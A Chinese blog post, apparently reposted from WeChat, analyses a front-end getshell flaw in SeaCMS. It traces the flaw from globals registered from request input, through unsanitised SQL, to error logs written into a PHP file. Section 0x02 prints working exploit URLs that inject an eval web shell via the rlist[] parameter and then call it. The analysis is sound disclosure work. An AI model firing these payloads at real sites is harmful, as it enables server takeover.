章源自【字节脉搏社区】-字节脉搏实验室
作者-Beginners
扫描下方二维码进入社区:
0x01 Seacms介绍:
海洋影视管理系统(seacms,海洋cms)海洋cms是基于PHP+MySql技术开发的开源CMS,是一套专为不同需求的站长而设计的视频点播系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选。
0x02 漏洞复现:
利用路径:/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[a]);?%3E
直接访问:data/mysqli_error_trace.php?a=phpinfo();
写入Shell后,成功连接:data/mysqli_error_trace.php?a=@eval($_POST['a']);
0x03 代码分析:
第一步:/comment/api/index.php 分析:
作用:第3行引用了/include/common.php这个文件。
第二步:打开/include/common.php这个文件,定位到98~118行:
作用:将 $_GET、$_POST、$_COOKIE 传入的参数注册成全局变量。
第三步:回到/comment/api/index.php继续分析,定位到第18行:
作用:发现在第18行处调用了 ReadData 函数,我们跟进这个函数。
作用:声明$type,$pCount,$rlist,这些参数都是前面注册的全局变量。
第四步:因为后面的函数都用到了$rlist这个变量,重点分析$rlist:
作用:implode()把$rlist组合成字符串,然后进入Readrlist函数。
第五步:跟进Readrlist函数:
作用:拼接并执行SQL语句:id in ($ids) ,这里的$ids其实就是刚才可控的 $rlist 变量。
第六步:SQL执行后,引用了Execute()函数:
第七步:跟进Execute()函数,函数文件位置:include/sql.class.php 第224~258行:
作用:当查询结果为false时,使用DisplayError()函数的方法。
第八步:跟进DisplayError()函数:
作用:这个函数首先输出了提示错误的html代码,之后将mysql的错误日志写入/data/mysqli_error_trace.php文件并保存,直到这里就触发了Getshell的漏洞。
0x04 Cms下载地址:
下载地址:https://share.weiyun.com/5qpXRztI
本文始发于微信公众号(渗透云笔记):代码审计之Seacms前台Getshell分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论